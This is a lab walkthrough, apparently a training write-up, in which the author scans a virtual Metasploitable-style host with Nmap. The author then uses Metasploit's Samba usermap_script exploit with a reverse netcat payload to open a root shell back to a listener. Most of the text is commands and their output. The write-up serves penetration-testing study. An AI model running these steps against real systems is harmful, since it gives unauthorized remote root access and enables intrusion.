

📁 Step-by-Step Breakdown:

1. Reconnaissance

- Use **Nmap** to identify open ports and services.

```
Nmap scan report for 192.168.31.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.31.2
Host is up (0.00014s latency).
MAC Address: 00:50:56:E3:57:D1 (VMware)
Nmap scan report for 192.168.31.129
Host is up (0.00060s latency).
MAC Address: 00:0C:29:1B:97:7E (VMware)
Nmap scan report for 192.168.31.254
Host is up (0.00065s latency).
MAC Address: 00:50:56:FD:9D:30 (VMware)
Nmap scan report for 192.168.31.130
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.99 seconds
```

This is my meta IP :- 192.168.31.129

2. Enumeration

```
(root@kali)-[/home/kali]
# nmap 192.168.31.129 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 05:59 EDT
Nmap scan report for 192.168.31.129
Host is up (0.0019s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:1B:97:7E (VMware)
```

```
(root@kali)-[/home/kali]
# nmap -p 139 -sV 192.168.31.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 06:05 EDT
Nmap scan report for 192.168.31.129
Host is up (0.00090s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:1B:97:7E (VMware)
```

-p for all port scanning

-sV for scanning version

3. Exploitation

:- Samba user map script

```
(root@kali)~[/home/kali]
# msfconsole
Metasploit tip: When in a module, use back to go back to the top level prompt
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
follow the white rabbit.
knock, knock, Neo.
```

```
msf6 > search samba
```

Matching Modules

```
13 exploit/windows/fileformat/ms14_060_sandworm
14 exploit/unix/http/quest_kace_systems_management_rce
15 exploit/multi/samba/usermap_script
16 exploit/multi/samba/nttrans
17 exploit/linux/samba/setinfopolicy_heap
18 \_ target: 2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10
```

Use this exploit

```
msf6 > use exploit/multi/samba/usermap_script
```

Show Payloads and search this one

```
24 payload/cmd/unix/reverse_ksh
25 payload/cmd/unix/reverse_lua
26 payload/cmd/unix/reverse_ncat_ssl
27 payload/cmd/unix/reverse_netcat
28 payload/cmd/unix/reverse_netcat_gaping

msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > 
```

Show options

```
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      All              no        The local client address
  CPORT      4444             no        The local client port
  Proxies    []              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     []              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.31.130  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic
```

As you can see, the 'Rhost' column is currently empty. You need to fill in the appropriate remote host

```
  Name      Current Setting  Required  Description
  --      -
  CHOST      All              no        The local client address
  CPORT      4444             no        The local client port
  Proxies    []              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.31.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.31.130  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic
```

After this, you need to use the **exploit** or **run** command.

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.31.130:4444
[*] Command shell session 1 opened (192.168.31.130:4444 → 192.168.31.129:37638) at 2025-04-27 06:43:22 -0400
whoami
root
```

As you can see, we have gained access to the root shell.....

THANKUUUUUUUU.....